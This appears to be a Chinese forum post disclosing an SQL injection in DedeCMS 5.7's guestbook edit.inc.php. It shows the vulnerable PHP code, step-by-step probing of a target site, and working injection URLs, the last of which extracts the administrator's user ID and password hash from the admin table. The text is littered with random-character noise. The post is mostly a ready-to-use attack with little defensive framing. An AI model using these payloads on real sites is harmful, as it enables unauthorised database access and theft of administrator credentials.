影响版本为5.7
3 Z/ B2 K( @: z# i- ^5 Z. R$ L( S: P: S d% x0 m3 O# h
漏洞文件edit.inc.php具体代码:% ^8 w- ^6 Y! M9 i% A
8 e' U7 j3 {% z" M ~< ?php 7 K4 W8 f1 x1 V& @4 l2 H
4 U/ k* A* J3 kif(!defined('DEDEINC')) exit('Request Error!'); 3 w5 H" ] q1 U F) v
( U/ X, H) D3 k/ I/ J& Q( p
, \0 {3 p# |" V5 l/ ~8 h+ R2 Q& ]) X3 i/ u% v2 q1 B3 e: i
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; . G2 {" {9 W9 b1 s w6 H
* V8 ?0 ]0 C! y
else $GUEST_BOOK_POS = "guestbook.php"; ' c/ z5 ^: X$ c* n( k5 N( x
) G- a: C* G- Z( D/ x1 \4 A: v+ ?1 D
! h# y, k- R( U3 V" _
- R0 y) M3 W/ }$id = intval($id);
& A+ V+ d% c8 m* [) d
0 e" S$ u9 W+ _5 Vif(empty($job)) $job='view';
; h& P8 p. Z, w) P& b* O8 `# d! _4 w% N
1 U. Q- r5 W# g$ E4 X, ^
! L' B" v5 v: Oif($job=='del' && $g_isadmin)
; ~/ ^# z; J# i2 A0 c7 L/ ]6 T. R
, I' u& V X' l w{
: [& ]1 m- c0 |5 ` r
' M7 b3 o; ?" U$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
6 s# s' A; J4 s# r% D' V% J, L5 d$ C) w3 _. c2 H! b
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
* d+ z$ ^+ I, |9 b+ q/ R# W! ~7 S; B& x+ K% e
exit();
0 U7 Z6 j4 V; v: {5 L1 M" m1 W- j$ `8 L1 l
} 8 O6 U6 W* J5 I( [! w. @
) }! O- n% @) welse if($job=='check' && $g_isadmin) " V* E: E$ ?7 R* k: `9 c# A. w
$ E. ]) `7 R5 J! y+ d& i5 @4 d
{
0 `7 l% l& V _. q1 X4 g- A) [; e9 k" L4 ?$ z
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); : x9 Z3 d8 c3 [1 E" @
5 z. T8 ] q8 D% k1 A) a- u H
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
% T( X* F8 m1 r/ L! B& i2 m3 V# q2 m( U+ k% G8 X5 U4 n& Q
exit();
% A* K$ b- t& C( W6 a3 d- B9 H$ {9 e5 G# I+ O9 k/ V( w
} ! c6 [, S( \5 G$ R4 I& }
' [: D5 t4 N: B s' r( P" @7 xelse if($job=='editok')
) X3 d# `9 K% q; c# E6 p! A2 V
7 D! g+ a& @8 i' Q" |9 L{ # ~! C! G9 Y0 `3 @
J1 Y+ T! G, r3 H/ c
$remsg = trim($remsg); ; ]# W; b1 G) k: Q9 d2 _* s& A
# Y% L2 j( M+ y
if($remsg!='')
7 z4 R. y$ d! n H7 L' ]! ~
. ?7 d V/ Y. z/ d{ ( `2 W9 E4 E; I
% k- Q1 M( m8 A//管理员回复不过滤HTML By:Errorera blog:errs.cc ( u: a' J$ r" u. M
0 p. I, ] N3 s
if($g_isadmin)
3 P: h9 H0 q$ n# G* s/ [
8 k% z2 R: F. n3 [{
3 o7 b2 `7 ~9 @/ a% Q1 k- X0 Q, f9 t; r. K* a: j. h* ^, {
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; + N4 p* Y8 M$ E2 i) R9 G$ G7 I
7 V9 o: [" u4 h& V/ V- x2 s8 T; g
//$remsg <br /><font color=red>管理员回复:</font> } / }) J9 h2 |6 y5 h
9 s: I" L9 P' L S9 u5 f) J
else
" n8 p; W$ P$ `. h4 G) ~* Y: R! f2 k( r+ ~5 ?( w
{ 4 c9 m# y( ?! f3 X5 b4 X1 r
. N, k$ M/ s: r& o5 Z0 J
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
0 r* u2 m' }% u0 s
! C$ [! o P3 x6 \8 N) d. b6 C$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; 4 p1 u6 S9 B' A( W6 x7 m
' _ @4 C/ [* \8 ]. S e0 p: f" s. g$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
! ]7 V) [0 P) ^0 B5 V5 J+ W$ k& m# j
$msg = $oldmsg.$remsg; $ K. _# r" f/ P3 h4 @) o$ W' k4 K0 m
1 G8 k; O- X. r2 w( a# [2 O} # L7 q, |+ X- y9 a! r7 U5 C& N# G
2 b2 T U5 d9 R
} , |4 c$ z! u; H8 M( V
% m1 u Y( D1 b4 }# G1 D: B
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
1 \- V- o% m. k3 e; M) i& t& _0 W9 Y! Y+ C
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
# w- R& ~# }. ]7 x8 \5 q' N' t$ ]. J
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
) J* V5 F9 X' b6 G0 |3 K0 s# H. Z0 o& A1 ^" ^' h
exit(); 7 _, G6 x2 X) i3 \" n4 Q, T
# _( X& N4 \+ Y0 }, @! P5 b} $ @- |' q& y9 V0 u4 x k4 w& D' x
; b! r( c% J% z8 ^" Q4 B
//home:www.errs.cc $ h! {! X5 S M6 o
* X7 H4 Q: W4 R* b; a8 \if($g_isadmin) - `4 F' N' [. V" }: s& g
' r7 M/ t/ y" O$ ~{ 3 V' ]( g8 e& M7 w* l% j
5 D' h+ g9 x* K9 p6 M3 @$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
6 m2 l. o4 V& p. O* R! q* j/ G
" Y: i3 L* n" [ i% n; l( zrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); % n2 _! ], B! c) U3 p) G
/ F0 ?6 I9 v. z- [2 G}
2 C) {/ X+ L! y5 o- c% n7 {3 L
5 d( I; A9 t/ t% r8 Jelse
. e9 h. r& z* o8 [+ z6 E8 i8 z. V& O- |/ e$ Y& M1 J( E
{ + Y" z W2 `8 F- h2 M8 V
0 i$ }9 V8 u9 ?& Q0 Z# Z7 _$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); $ J; v, H8 a8 Z* w/ J& k
8 l* F3 Z8 z! z( n' f
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); * r ~! y' k% R7 P# r Q
2 B1 B" A+ \: G) H. G3 P
} 漏洞成功需要条件:$ j0 r1 Q5 i. V9 @! R
1. php magic_quotes_gpc=off
2 `; v) C' d' t' m8 O8 L2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
! {) k5 Z: r) }0 l
4 P& e5 ?- ]1 A1 \9 Y: Y K6 M怎么判断是否存在漏洞:3 m! t4 G2 I# ?4 ^, z- Y P! T4 {
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
1 {: {; g* B/ _, @2 ?) f然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID( ~4 ]( y: `! x- s% P0 s% S4 x+ z' O
访问:
" m, ~$ Y# R4 a6 Y& b- K: v
9 i- [$ _. m' f+ s4 p0 w' z# B2 mwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
4 l% t$ ~' j1 N跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
. e9 l& G3 Z7 i0 F( V$ m0 e! d2 A& n+ _9 R
( r! [% B4 I* S$ h9 k6 |
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off' D# k1 T& n6 T5 N; H
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。/ s- v5 w' M: t0 \
那么再次访问2 I6 a/ n& [' n- t' i
d8 G2 ^. i7 P0 M4 o" @- Uwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().% w$ P G+ S: W: v: v
- K8 X5 g: b9 b. q! s2 _大概利用就是这样,大家有兴趣的多研究下!!
! Z2 f& F6 J' y& C X: i
0 d6 i) \5 ^3 `5 v+ V最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!& J r; w. [( O6 ^* T S+ g1 X5 p
' p2 g; ^* G3 b6 n: g7 K/ |
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |